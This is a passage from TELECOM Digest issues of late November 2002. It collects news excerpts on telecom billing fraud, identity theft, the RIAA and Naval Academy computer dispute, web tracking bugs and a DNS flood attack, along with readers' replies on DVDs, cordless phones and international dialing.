FTC alleged that although VIL's bills, which were mailed by the Integretel defendants, deceptively represented that the calls reconnecting consumers modems to the Internet terminated in Madagascar, in fact they were ""short-stopped"" in London or some other location. Thus, line subscribers were charged the rates to Madagascar at $3.99 per minute, compared to about $.08 per minute to London. rest at: http://www.ftc.gov/opa/2002/11/integretel.htm _____________________________________________________ Knowledge may be power, but communications is the key dannyb@panix.com [to foil spammers, my address has been double rot-13 encoded] ------------------------------ Date: Wed, 27 Nov 2002 11:50:24 -0500 From: Monty Solomon Subject: Fraud Case: Greed Bred Sloppiness By Michelle Delio 02:00 AM Nov. 27, 2002 PT NEW YORK -- Unbridled greed proved the ultimate undoing of an identity theft crime ring that ripped off thousands of Americans, according to law enforcement officials. The criminals' repeated data downloads coupled with escalating consumer complaints eventually aroused curiosity at credit reporting agencies, leading to the arrest of three men who officials said were the primary perpetrators of the scam. But at least 20 other people may have been involved in the two-year swindle. http://www.wired.com/news/privacy/0,1848,56593,00.html ------------------------------ From: rrd@ftc.agilent.com (Ray Depew) Subject: Re: RIAA Orders US Navy to Surrender Date: Wed, 27 Nov 2002 18:06:23 +0000 (UTC) Organization: Agilent Technologies TELECOM Digest Editor asked: > The RIAA didn't take any computers. The Navy took back *its own* > computers. > [TELECOM Digest Editor's Note: That is open to dispute. *If* the > computers were the Navy's own property, then they had every right to > them. But, in the previous issue of the Digest this morning, it was > suggested that the computers were bought and paid for by the private > money of the sailors who were disciplined, and NOT the Navy's property. > Do you know? PAT] I'm assuming that the Naval Academy and the Air Force Academy work the same way. Although I don't have personal experience with USNA, I have secondhand knowledge of USAFA's computer policy. Five or more years ago, USAFA began requiring every incoming freshman to buy a computer. Since this is the military we're talking about, it wasn't just ""Buy a computer."" It was ""You're required to buy a computer. This is the computer you are required to buy. This is how much it will cost you."" Then they issued the computer to the cadet and took the cost of it out of the cadet's paycheck every month for four years. If a cadet/middie drops out of the academy, he keeps the computer, the uniforms and all the other goodies that the government bought for him over the years (most of it with his own money), and then a few months later he receives a bill from Uncle Sam for tuition plus any outstanding obligations, like the computer loan. Technically, the Navy does own the middies' laptops, just like the bank owns your car and your house. But I don't think the laptops have a tag on them saying ""Property of the US Navy"". (I know that the USAFA cadets' laptops do NOT have a similar tag.) Regards Ray Depew father of a USAFA cadet ------------------------------ Date: Wed, 27 Nov 2002 07:19:41 -0500 From: Ron Chapman Subject: Re: RIAA Orders US Navy to Surrender In article , John Higdon wrote: > Oh, you think simply not having contraband on your computer is some sort > of protection if the RIAA decides to target YOU? What are you going to > do for the several months (if not forever) that your computer is in the > hands of The Specialists? Remember, in the eyes of the RIAA EVERYONE is > guilty until proven innocent. Here's a funny thought: I'm *sure* the Business Software Alliance could go into the offices of the RIAA and find *some* piece of software that wasn't completely legit. I wonder how the RIAA would respond to having their own offices completely trashed and all their computers taken away? I think that Microsoft and the BSA are probably bigger than the RIAA. ------------------------------ From: Ed Ellers Subject: Re: RIAA Orders US Navy to Surrender Date: Wed, 27 Nov 2002 01:57:38 -0500 PAT, the TELECOM Digest Editor, noted: > John, when you talk about 'BMG' are you referring to the company in > Indianapolis, IN which operates all the various 'clubs' for books, > records, CDs, etc? Years ago, they also operated the 'RCA Victor > Record Club', and the 'Talking Book Society' with audio books for > visually handicapped people. BMG is the parent company of what used to be RCA Records. > Regarding Hollywood and DVD sales, I think it is Warner Brothers which now > has some subsidiary set up to sell DVDs real cheap (for very old [like > 1930-40's movies], slightly more on more recent films) and you are right; > they are making a killing at it."" Warner is also the studio that took a leading role in getting DVD off the ground. ------------------------------ From: John Higdon Subject: Re: RIAA Orders US Navy to Surrender Organization: Green Hills and Cows Date: Tue, 26 Nov 2002 23:15:55 -0800 In article , > [TELECOM Digest Editor's Note: > John, when you talk about 'BMG' are you referring to the company in > Indianapolis, IN which operates all the various 'clubs' for books, > records, CDs, etc? BMG runs record clubs and record labels. BMG has flat out declared that all CDs released under its banner (which includes many major labels) will be ""copy protected"". To those who can no longer play them on their equipment, the multi-national conglomerate says: ""life is tough"". I cancelled my membership with BMG's classical music club and refuse to even consider buying any CD sold by a BMG label. I will look for the music and download it first. This is how I, a customer, am treated for my loyalty and the spending of thousands and thousands of dollars with the club over the past fifteen years or so. > Regarding Hollywood and DVD sales, I think it is Warner Brothers which > now has some subsidiary set up to sell DVDs real cheap (for very old > [like 1930-40's movies], slightly more on more recent films) and you > are right; they are making a killing at it. Its not at all the death of > the industry they predicted. The death of movie theatres, perhaps, but > not the whole industry. PAT] Actually, Warner Brothers has been at the forefront of DVD. Their earliest releases at the introduction of DVDs were high-quality and produced taking advantage of DVD's salient features such as 16X9 enhancement and 5.1 audio. WB did an early release of one of its hit movies (The Matrix) against the advice of George Lucas, who claimed that they were shooting themselves in the foot. That DVD, one of the most popular DVDs ever produced, made vast sums of money for the studio, and it eclipsed the sales of Lucas' SW Episode I when he finally deigned to release it to DVD, well over a year after it had been in the theaters. The studios can be control freaks or they can go with the flow and make boatloads of money. It is their choice. Barry Margolin wrote: > No one is being ""deprived of their entertainment"". They're just > expected to buy CD's, just like anyone else. Oh, you mean the great new CDs that won't play in a computer? What kind of player should they buy? I used to buy CDs when the music could be transferred to my iPod. By making that action difficult (or impossible), there is no point in buying CDs anymore since they are useless to me. Now I look for downloads. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: Ed Ellers Subject: Re: RIAA Orders US Navy to Surrender Date: Wed, 27 Nov 2002 00:25:39 -0500 [TELECOM Digest Editor's Note: The RIAA through an official spokesperson has issued a reply to the news this week about their 'raid on the Navy', and they say it is all a Big Lie spread by the newspapers. Ed Ellers has kindly passed it along to us here. PAT] The RIAA has put out a stinging reply that Monty posted: Read the entire response here: http://www.theregister.co.uk/content/35/28283.html Some excerpts are below: ---------------------------- Dear Mr. Orlowski: I have just read your story re: ""RIAA orders US Navy to surrender."" I am shocked by your factually inaccurate reporting. The RIAA has not, as you wrote, ""mounted a daring raid on the US Navy."" Your so-called reporting gives tabloid journalism a bad name! We did send letters to colleges and universities as stated in the original story that you seemed to base your story upon. Perhaps you misread this paragraph? Or perhaps the truth is less interesting than the facts? ""Amanda Collins, a spokesman for the Recording Industry Association of America, said yesterday that the Naval Academy was among the colleges and universities around the country that were sent two letters from entertainment industry and educational associations asking them to address Internet piracy and establish policies against it. ""An Oct. 3 letter signed by four entertainment-based lobbying associations spelled out that Internet copyright infringement violates federal copyright laws."" We take copyright infringement seriously but at no time did we demand that the Naval Academy confiscate computers nor were we aware of their actions until a REPORTER informed us. We work hand-in-hand with colleges and universities to address internet piracy. The characterization of what happened at the Naval Academy is flat-out wrong. Your rewriting of The Capital's story was a complete fabrication. I demand a retraction and I demand the story be taken down immediately. Thank you. Amy Weiss Senior VP, Communications Recording Industry Association of America 1330 Connecticut Avenue, NW #300 Washington, DC 20036 -------------------------------- The Register has *not* taken down their original story -- it's still up at http://www.theregister.co.uk/content/6/28263.html, as is the original story from The Capital at http://www.hometownannapolis.com/cgi-bin/read/live/11_23-19/NAV. The latter quotes the October 3 letter as saying that ""'Theft' is a harsh word, but that it is, pure and simple ... It is no different from walking into the campus bookstore and in a clandestine manner walking out with a textbook without paying for it."" An interesting statement, considering that most copyright infringements are not criminal offenses. ------------------------------ Date: Wed, 27 Nov 2002 10:24:22 -0500 From: Monty Solomon Subject: Students Learning to Evade Moves to Protect Media Files By AMY HARMON As colleges across the country seek to stem the torrent of unauthorized digital media files flowing across their campus computer networks, students are devising increasingly sophisticated countermeasures to protect their free supply of copyrighted entertainment. Most colleges have no plans to emulate the Naval Academy, which last week confiscated computers from about 100 students who are suspected of having downloaded unauthorized copies of music and movie files. But many are imposing a combination of new technologies and new policies in an effort to rein in the rampant copying. http://www.nytimes.com/2002/11/27/technology/27SWAP.html [TELECOM Digest Editor's Note: Remember, for your privacy in reading NY Times articles, refer to user 'telecomdigest' and p/w 'telecomdigest'. PAT] ------------------------------ Date: Wed, 27 Nov 2002 07:47:50 -0500 From: Monty Solomon Subject: Ad Firms Set Rules For Web Tracking Bugs By Stefanie Olsen Staff Writer, CNET News.com In a relatively late effort to promote consumer privacy, a coalition of Internet-advertising companies issued on Tuesday guidelines for Web sites that use tiny electronic tags to track visitors' surfing habits and gather other data. The Network Advertising Initiative, a group of eight Web advertising technology companies, including DoubleClick and 24/7 Media, set industry standards that require Webmasters to notify visitors when they use the surveillance tags, also known as Web bugs or beacons, and what they are used for. The rules also mandate that sites obtain a consumer's permission before using the technology to collect and share data that could identify that consumer. Web site operators use Web bugs -- fairly undetectable strings of code in the form of 1-by-1-pixel tags -- to track site usage, count the number of visitors to a page or monitor visitor behavior. Ad software companies often use the beacons in conjunction with cookies -- another, more apparent, monitoring tool -- to track the effectiveness of marketing campaigns or collect profiles on Web surfers, which they use to customize future promotions. http://news.com.com/2100-1023-975385.html ------------------------------ Date: Wed, 27 Nov 2002 07:56:19 -0500 From: Monty Solomon Subject: Sony Pictures Forms Lobby Group By Evan Hansen Staff Writer, CNET News.com Sony Pictures Entertainment on Tuesday said it has formed a new lobbying organization as the company moves to adopt secure digital formats to distribute its stable of movies and entertainment products. The Digital Policy Group will be headed by Beth Berke, executive vice president of Sony Pictures. The lobbying group will represent the company in negotiations with legislators and regulators, review new technologies, and coordinate Sony Pictures' approach to digital technologies, both internally and with partners. http://news.com.com/2100-1023-975346.html ------------------------------ Date: Wed, 27 Nov 2002 08:50:30 -0500 From: Monty Solomon Subject: Giant Communications Satellite Stranded in Space NewScientist.com news service A huge European telecommunications satellite is trapped in a useless orbit after the Russian rocket carrying it malfunctioned early on Tuesday. The ASTRA-1K satellite was launched from the Baikonur Cosmodrome in Kazakhstan, central Asia, using a Proton K rocket at 2304 GMT on Monday. The rocket's Block DM second stage engine fired once after launch placing the communications satellite in a temporary low Earth orbit at an altitude of 175 kilometres. The second stage system should have fired twice more to push the satellite into a geosynchronous orbit at 36,000 km altitude before separating from the satellite. But these final two firings did not take place. http://www.newscientist.com/news/news.jsp?id=ns99993106 ------------------------------ Date: Wed, 27 Nov 2002 08:56:11 -0500 From: Monty Solomon Subject: Risk of Internet Collapse Rising Simulated attacks on key internet hubs have shown how vulnerable the worldwide network is to disruption by disaster or terrorist action. If an attack or disaster destroyed the major nodes of the internet, the network itself could begin to unravel, warn the scientists who carried out the simulations. The virtual attacks showed that the net would keep going in major cities, but outlying areas and smaller towns would gradually be cut off. The researchers warn that the net has become more vulnerable as it has become more commercialised and key net cables are concentrated in the hands of fewer organisations. http://news.bbc.co.uk/2/hi/technology/2514651.stm ------------------------------ Date: Wed, 27 Nov 2002 09:07:30 -0500 From: Monty Solomon Subject: If TiVo Thinks You Are Gay, Here's How to Set It Straight What You Buy Affects Recommendations On Amazon.com, Too; Why the Cartoons? By JEFFREY ZASLOW Staff Reporter of THE WALL STREET JOURNAL http://online.wsj.com/article_email/0,,SB1038261936872356908,00.html ------------------------------ From: spuorgelgoog@gowanhill.com (Owain) Subject: Re: Need Help Finding Certain Phone Date: 27 Nov 2002 09:33:06 -0800 Organization: http://groups.google.com/ Mike wrote: > I want to buy an cordless phone with an answering machine and a caller > ID. I want one that allows me to listen to answering machine messages > from the phone itself. For example, if I'm outside and someone calls > but I don't want to answer and they leave a message, I can hear that > message as it is being left just by pushing a button on the phone. I bought one for a friend a few years ago -- it was a SouthWestern Bell model. It had a button that allowed the user to listen to the caller leaving their message without breaking into the call; the user could press another button to enter the call and cut off the answering machine if desired. I think this feature is often called 'call screening' or 'intercept' and a google search for: 'cordless telephone answering machine intercept' should bring results including http://www.newsearching.com/answering_machine/AT_T_Cordless_Phone_With_Answering_Machine_Caller_ID__2_4_GHz.html AT&T Cordless Phone With Answering Machine/ Caller ID, 2.4 GHz ""Answering system features include 3-individual voice mailboxes, call screening/intercept..."" http://www.outpost.com/product/3112650/ AT&T 9353 900 MHz Cordless Phone with Answering Machine - Black 900 MHz Cordless With Answering Machine: ""The AT&T 9353 features an answering machine, remote access, and call screening."" http://www.shopwireless.com/product.asp?2870 AT&T 9353 900 MHz Cordless Phone with Answering Machine Answering system features: 15 minute digital record time ""3 voice mailboxes Call screening/intercept Variable speed playback Remote access"" You will need to check specifically that you can listen to the call *through the handset* as the screening/intercept function. HTH Owain ------------------------------ From: Jim Van Nuland Subject: Re: BASIC/FORTRAN/COBOL Date: Wed, 27 Nov 2002 06:56:57 UTC Organization: Silicon Valley Public Access Link Joey Lindstrom wrote: > On Wed, 20 Nov 2002 02:06:29 -0500 (EST), editor@telecom-digest.org > wrote: >> By the way, >> BASIC = Beginner's All-Purpose Symbolic Instruction Code.) Does anyone >> here remember what COBOL and FORTRAN stood for? COmpletely BOtched Language. Told to me when I joined the IBM team building the first compiler, this about 1963. Jim Van Nuland, San Jose (California) Astronomical Association ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: AIRWAVES FCC Database Search is Not Working? Date: Wed, 27 Nov 2002 12:07:08 -0000 Organization: JustThe.net LLC 'Kuo, Yao (Y.H.)' asked: > Anything happening at AIRWAVES FCC Database Search ? It's > not working for past few days? > [TELECOM Digest Editor's Note: Not just the past few days ... it has > been out of order for almost a year now. :( I don't know what I am > going to do with it. I cannot locate where the FCC put the database > and it would appear the format is quite different also. Maybe I will > be able to get to it sometime soon. PAT] Actually, this is on my To-Do list. I moderate rec.radio.broadcasting (gatewayed to the Airwaves mailing list) and have volunteered to work with PAT on an overhaul of Airwaves.com. I need to go to the store and buy a round tuit; once I get a round tuit I'll be able to get some work done on the site. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. 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All opinions expressed herein are deemed to be those of the author. Any organizations listed are for identification purposes only and messages should not be considered any official expression by the organization. End of TELECOM Digest V22 #152 ****************************** Date: Thu, 28 Nov 2002 00:37:59 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200211280537.gAS5bxG05563@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #153 TELECOM Digest Thu, 28 Nov 2002 00:38:00 EST Volume 22 : Issue 153 Inside This Issue: Happy Thanksgiving Day, 2002 Re: Olde Farte Week (Scott Dorsey) Re: RIAA Orders US Navy to Surrender (John Higdon) Re: RIAA Orders US Navy to Surrender (Howard S Wharton) Mutter, Mutter (Joey Lindstrom) Re: Last Laugh! Parakeets (Gail M. Hall) Warner & DVD (Joey Lindstrom) Wall Street Journal (Joey Lindstrom) Another Net Domain System Attacked (Monty Solomon) Victoria's Secret Customers Exposed (Monty Solomon) Archive: Fresh Spam for Everyone (Monty Solomon) Cops Bust Massive ID Theft Ring (Monty Solomon) Re: Charter Cable Leak: Reporting it (J Kelly) Re: 011+ From NANP vs. 00+ From Most of World (Dave Close) Disc Update (Joey Lindstrom) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: kludge@panix.com (Scott Dorsey) Subject: Re: Olde Farte Week Date: 27 Nov 2002 14:47:39 -0500 Organization: Former users of Netcom shell (1989-2000) In article , John Higdon wrote: > In article , J Kelly > wrote: >> I loved the old C-64 and VIC-20. I always thought that poke of death >> was an urban legend among Commodore users. And boy, do I ever >> remember how hot the old 1541's would run. > The beginnings of my company's business ran on VIC-20s (purchased in > bulk from Toys-R-Us). Assembly-language programs were burned into eproms > and run from the ""game slot"". In other words, we took over the whole > machine. Did you by any chance make the display systems for the trains at Hartsfield Airport? Those were Vic-20-based. scott ""C'est un Nagra. C'est suisse, et tres, tres precis."" ------------------------------ From: John Higdon Subject: Re: RIAA Orders US Navy to Surrender Organization: Green Hills and Cows Date: Wed, 27 Nov 2002 13:23:17 -0800 In article , Amy Weiss, Senior Spin Doctor for the RIAA wrote: > Your rewriting of The Capital's story was a complete fabrication. I > demand a retraction and I demand the story be taken down immediately. Apparently, the RIAA is hypersensitive over being portrayed as the jack-booted thugs that they are. They don't hesitate to declare customers who make copies for their own personal use ""criminals"" and want to make sure that those same customers get the least possible enjoyment of the product they have purchased. But they don't want anyone to characterize the organization that way. This is not about fair compensation for composers and artists; this is about penalizing paying customers as a smoke screen to cover a desperate attempt to remain relevant in the distribution of music. The digital age threatens to make the cigar-smoking mogels in luxurious glass office buildings obsolete, allowing real musicians to reach audiences directly. The futile hope is that by crippling the technology, they can stave off the inevitable. Many artists do not consider the RIAA their friend, and for good reason. Ed Ellers writes: > The latter quotes the October 3 letter as saying that ""'Theft' is a > harsh word, but that it is, pure and simple ... It is no different > from walking into the campus bookstore and in a clandestine manner > walking out with a textbook without paying for it."" An interesting > statement, considering that most copyright infringements are not > criminal offenses. Ironically, if someone walked out with a CD from the campus bookstore without paying for it, the RIAA would not be concerned in the slightest. It isn't about theft; it is about survival for the recording industry middlemen. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: Howard S Wharton Subject: Re: RIAA Orders US Navy to Surrender Date: Wed, 27 Nov 2002 20:34:17 -0500 Organization: University at Buffalo I don't care for the RIAA, but if they were the Navy's computers, that is government property and can only be used for authorized government work. Unauthorized access, use, modification or data contained or in transit to or from this system constitutes a violation of Title 18, USC Sec. 1030 as well as state criminal and civil laws. Storing MP3's on said computers is a violation of the above law. Another reason is to prevent virus from entering the computer and affecting the network. Ask anyone who maintains computers and the network at any military base will tell you that. I am retired from the military. Howard S. Wharton Fire Safety Technician Occupational and Environmental Safety Services State University of New York at Buffalo [TELECOM Digest Editor's Note: Oh, if the computers *were indeed* goverment property, intended for government business, etc then I totally agree with you. I don't sympathize with the government, but I *do* agree you are correct. But the message I am getting here is the computers were the property of the individuals involved, even if they were on 'time-payments' from the government, etc. In other words, the guys had to buy them for their studies, etc. Then we are also beig told this may have been Annapolis, with stricter than usual rules for the military guys there. Then we are also being told in the last issue of the Digest, that RIAA *didn't really* say the things quoted in the news report. Pretty gray and muddy isn't it? PAT] ------------------------------ From: Joey Lindstrom Date: Wed, 27 Nov 2002 14:43:15 -0700 Subject: Mutter, Mutter Reply-To: joey@lairdsflooring.com On Tue, 26 Nov 2002 15:10:02 EST, various posters wrote about RIAA. TELECOM Digest Editor noted in a response: > [TELECOM Digest Editor's Note: Maybe it would be a good idea for the > RIAA to poll its members on whether or not military guys should be > deprived of their entertainment. If they studied their history rather > than their bottom line so much they might discover that many artists, > musicians, entertainers, others routinely and freely give of > themselves to help soldiers, etc. Consider how during the VietNam era, > World War II and many other conflicts the musicians and artists and > show people would go and give free shows on bases, etc. Probably RIAA > would not approve of that either. PAT] You're probably right, but it's an excellent idea. > break his heart to find out they don't have any, and his planned and > hoped for Armaggeon will have to be his own doing. He is just like > FDR was in 1940; just itching to get in a war, that hopefully he will > be able to blame on others. And here all along I thought your last name was ""Townson"". I never dreamed it was actually ""Chamberlain"". [TELECOM Digest Editor's Note: So now the Truth is known, eh? PAT] ------------------------------ From: Gail M. Hall Subject: Re: Last Laugh! Parakeets Date: Wed, 27 Nov 2002 16:59:47 -0500 Reply-To: gmhall@apk.net On Tue, 26 Nov 2002 10:14:08 -0700, in comp.dcom.telecom, you (Joey Lindstrom ) wrote: > Q: What do duct tape and The Force have in common? > A: Both have a light side and a dark side, and they bind the universe > together. > And if you haven't seen it, rent ""Red Green's Duct Tape Forever"" > soon. :-) You can see the Red Green show on PBS every week. I recommend it highly. It's funny without having to resort to obscenity. > Joey Lindstrom - Laird's Flooring > joey@lairdsflooring.com > [TELECOM Digest Editor's Note: Joey, you are very sick. I would expect > that sort of sickness from someone at Bell Sympatico or Hotmail but > hearing it from you absolutely shocks me. Tsk Tsk Tsk .... PAT] Anyone who likes Red Green is OK. :-) I've also watched the ""Canadian Air Farce"" a few times, and that is funny, too. ObTelecom: I wonder if Lily Tomlin's telephone operator character routines will be funny to people 50 years from now when no living person will remember what it was like to have living human telephone operators handling calls. I suppose comedians will still have telemarketers and voicemail menus to do routines about. Gail in Ohio USA ------------------------------ From: Joey Lindstrom Date: Wed, 27 Nov 2002 15:25:14 -0700 Subject: Warner & DVD Reply-To: joey@lairdsflooring.com On Wed, 27 Nov 2002 15:37:16 EST, John Higdon wrote: > Actually, Warner Brothers has been at the forefront of DVD. Their > earliest releases at the introduction of DVDs were high-quality and > produced taking advantage of DVD's salient features such as 16X9 > enhancement and 5.1 audio. Presumably, Warner put their best people on these projects. The recent release of ""Babylon 5 - Season One"" on DVD was, apparently, done by temps. First off, what the hell was the delay? B5's been available (well, about half of the series anyways) on VHS for years. Finally the DVD set comes out this month and it's got all kinds of problems. The opening ""Warner Brothers"" logo comes up in high quality, glorious 16x9 widescreen ... and then the main menu shrinks down to 4x3. And here's the fun part: the ""jumpgate sequence"" CGI effect that plays on this 4x3 display WAS REDUCED FROM 16x9, making it appear ""squished"". Then you start watching the shows, which were SHOT in 16x9 widescreen from the get-go ... and find that they haven't gotten it quite right. On my Sony widescreen, I get a letterboxed image inside a 4x3 display, which itself is ""pillared"" to fit my 16x9 display. If I hit ""Zoom"", it fills out horizontally just fine but the image is cropped vertically. DAGNABBIT! Beyond that, the quality of the video transfer ranges from ""decent"" to ""godawful"", often in the same scene. You'll be watching Sinclair talking to Garibaldi and it looks great, and then there's a cut to Ivanova walking in the room and suddenly it's all grainy. Or, better yet, in many areas it looks like they transfered from DAMAGED film stock -- there's rips and tears and burn marks and you name it, it's there. Yeah, they're leaders all right. :-) Joey Lindstrom - Laird's Flooring joey@lairdsflooring.com ------------------------------ From: Joey Lindstrom Date: Wed, 27 Nov 2002 15:35:31 -0700 Subject: Wall Street Journal Reply-To: joey@lairdsflooring.com On Wed, 27 Nov 2002 15:37:16 EST, Monty Solomon wrote: > What You Buy Affects Recommendations On Amazon.com, Too; Why the > Cartoons? > By JEFFREY ZASLOW > Staff Reporter of THE WALL STREET JOURNAL > http://online.wsj.com/article_email/0,,SB1038261936872356908,00.html Hey Monty, maybe we can skip the articles that require a $79 payment to read, huh? Joey Lindstrom - Laird's Flooring joey@lairdsflooring.com Laird's Flooring joey@lairdsflooring.com [TELECOM Digest Editor's Note: I dunno about this article and link. Please notice the two commas in the middle after the zero and the comma near the end after the 8 ...when I went to check that issue of the Digest in http://telecom-digest.org/TELECOM_Digest_Online I found that the underlying link broke off after '_email/0' and the rest of the link from ',,SB10.....' forward did not get included in the link. Clicking on what did appear as the link resulted in a 404 not found error. I asked Monty about this and he said the article came through okay on his end. I told him I use IEXPLORE and Opera and the article did not work okay there. He is going to review it. What I *think* happened, Joey (and you know I get in trouble for trying to think very much these days) is you wound up getting an offer to subscribe to the Journal rather than the actual article. Monty was amazed when I mentioned your complaint to him in email. Let's see if he has an answer sometime soon. PAT] ------------------------------ Date: Wed, 27 Nov 2002 17:59:37 -0500 From: Monty Solomon Subject: Another Net Domain System Attacked Assault on '.info' similar to last month's attack on DNS servers By Robert Lemos Nov. 25 - An Internet attack flooded domain name system provider UltraDNS with a deluge of data late last week, causing administrators to scramble to keep the servers that host .info and other domains up and running. The assault sent nearly 2 million requests per second to each device connecting the network to the Internet -- many times greater than normal -- during the four hours of peak activity that hit the company early Thursday morning, said Ben Petro, CEO of UltraDNS. http://www.msnbc.com/news/839842.asp ------------------------------ Date: Wed, 27 Nov 2002 18:01:36 -0500 From: Monty Solomon Subject: Victoria's Secret Customers Exposed Glitch at Web site reveals who ordered what in some cases By Bob Sullivan MSNBC Nov. 27 - A glitch at the Victoria's Secret Web site allowed customers who purchased items there to view other customers' orders in some cases, MSNBC.com has learned. On Friday morning, part of the site was shut down while company officials investigated. Personal financial information, such as credit cards, were not exposed by the glitch - but details of customers' intimate purchases were. http://www.msnbc.com/news/840596.asp [TELECOM Digest Editor's Note: That was indeed an example of indecent exposure, wasn't it .... (poor attempt at humor). PAT] ------------------------------ Date: Wed, 27 Nov 2002 19:04:15 -0500 From: Monty Solomon Subject: Archive: Fresh Spam for Everyone By Justin Jaffe 12:56 PM Nov. 27, 2002 PT Is your spouse dissatisfied with the size of your spam? A brand-new website has made several hundred thousand pieces of unsolicited commercial e-mail available for you to download today. Act now! After a quiet online debut last week, the Spam Archive is making quick strides toward becoming the largest public library of junk e-mail on the Internet. Paul Judge, director of research and development for CipherTrust, the e-mail security firm backing the project, says the site received roughly 5,000 forwarded messages a day during its first week. He predicts the archive will amass a corpus of 10 million unsolicited commercial e-mails over the next year. The archive's FTP site will begin to make its spam available, 10,000 at a time, starting Dec. 4. People have never been so excited to get junk e-mail. http://www.wired.com/news/technology/0,1282,56624,00.html ------------------------------ Date: Wed, 27 Nov 2002 19:21:55 -0500 From: Monty Solomon Subject: Cops Bust Massive ID Theft Ring By Michelle Delio 11:09 AM Nov. 25, 2002 PT Federal prosecutors have arrested three men involved in what officials are calling the largest identity fraud case in American history. In a press conference on Monday, law enforcement officials described the inner workings of the scam, which they said ran for two years and resulted in thousands of people across the country collectively losing millions of dollars as their bank accounts were drained and credit cards maxed out with bogus charges. Losses due to the scam approach $3 million, said James Comey, U.S. attorney for the Southern District of New York. http://www.wired.com/news/privacy/0,1848,56567,00.html ------------------------------ From: J Kelly Subject: Re: Charter Cable Leak: Reporting it Date: Wed, 27 Nov 2002 20:37:42 -0600 Organization: http://extra.newsguy.com On Fri, 22 Nov 2002 00:12:40 -0600, Dave Phelps wrote: > It seems most of the big service providers, whether it's phone, cable, > whatever, seem to really like to play dumb when discussing any service > issues. It doesn't surprise me at all that they don't acknowledge your > complaint, mostly because the answer centers don't have a clue of > what's going on. It is almost impossible to make contact with a group > that knows what's going on -- I don't think they even give those > people phones. I have good luck calling various Mediacom offices and asking for the ""headend tech"". They have on occasion asked who I am and why I need that person though. I always tell them, and they pass me through (broadcast engineer for one of the stations they are carrying). ------------------------------ Date: Wed, 27 Nov 2002 19:36:19 -0800 From: Dave Close Subject: Re: 011+ From NANP vs. 00+ From Most of World Organization: Compata, Costa Mesa, California Mark J Cuccia writes: > YES, it WOULD be nice to have universal worldwide standards in > numbering and dialing. There already is a universal worldwide standard for numbering: + (cc) (ac) (local) (country code, area code, local number). There is no worldwide standard for how many digits should be in the (ac) or (local), or for what might preceed (or substitute for) the ""+"". What there ought to be is a convention that allows someone to dial /any/ call from /any/ location to the /same/ destination number with the same sequence of digits /after/ the ""+"", even if the call is within the same country. But within the NANP, we can't even get that rule accepted for the digits after the (cc), with some places requiring and others prohibiting the use of eleven digits. Dave Close, Compata, Costa Mesa CA ""Politics is the business of getting dave@compata.com, +1 714 434 7359 power and privilege without dhclose@alumni.caltech.edu possessing merit."" - P. J. O'Rourke ------------------------------ From: Joey Lindstrom Date: Wed, 27 Nov 2002 20:08:39 -0700 Subject: Disc Update Reply-To: joey@garynuman.info Forgot to mention - I'm down to just one disc order pending. That's our friend XXXX over in the UK: he has not yet responded to my request to send me a mailing address and a disc choice. But we can afford to give him time. If, after say a couple of weeks, we still can't reach him, then I'll just call the order cancelled (and tell you that I've done so) and credit your account. This time, I'm REALLY READY for the onslaught of orders that come at the end of the month. :-) / From the desk of Joey Lindstrom / / Another core-ingredient of UFO studies is the abduction by aliens. / Under hypnosis the abductees recollections all share the same / characteristics; long stretches of time unaccounted for, strange / bruises on the body, a suspicion of sexual violation. Is it just me or / does alien abduction sound amazingly like spring break? / -- Dennis Miller [TELECOM Digest Editor's Note: This latest note from Joey Lindstrom seems to indicate all disks ordered have been mailed (except the one going to the UK). Any of you who have sent a donation during October or November who do not have your CD of the archives by this weekend, *please* let me or Joey know. Joey says this is going to be an ongoing thing with a CD of the archives to-date at the time the order is received. Included with the archives on the CD will be a collection of old-time radio shows with a telecom theme, and will include Agnes Morehead in 'Sorry, Wrong Number'. I really am very grateful for the help so many of you provide me in keeping the Digest going on day after day, month after month and year after year. Thank you very much, and I wish all of you a very happy Thanksgiving Day holiday. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. 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End of TELECOM Digest V22 #153 ****************************** >From editor@telecom-digest.org Thu Nov 28 20:15:11 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gAT1FBs21546; Thu, 28 Nov 2002 20:15:11 -0500 (EST) Date: Thu, 28 Nov 2002 20:15:11 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200211290115.gAT1FBs21546@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #154 TELECOM Digest Thu, 28 Nov 2002 20:14:00 EST Volume 22 : Issue 154 Inside This Issue: Happy Thanksgiving Day To All! Wall Street Journal Online (Joey Lindstrom) Re: Complaints About Reading Stuff Here (Monty Solomon) Re: Wall Street Journal Online (Phil Earnhardt) Re: RIAA Orders US Navy to Surrender (Phil Earnhardt) Re: Warner & DVD (John Higdon) Re: 011+ From NANP vs. 00+ From Most of World (Joseph) TDMA and GSM Cell Phones (Howard Kelley) Pick-Six Fix Admitted as Giuliani 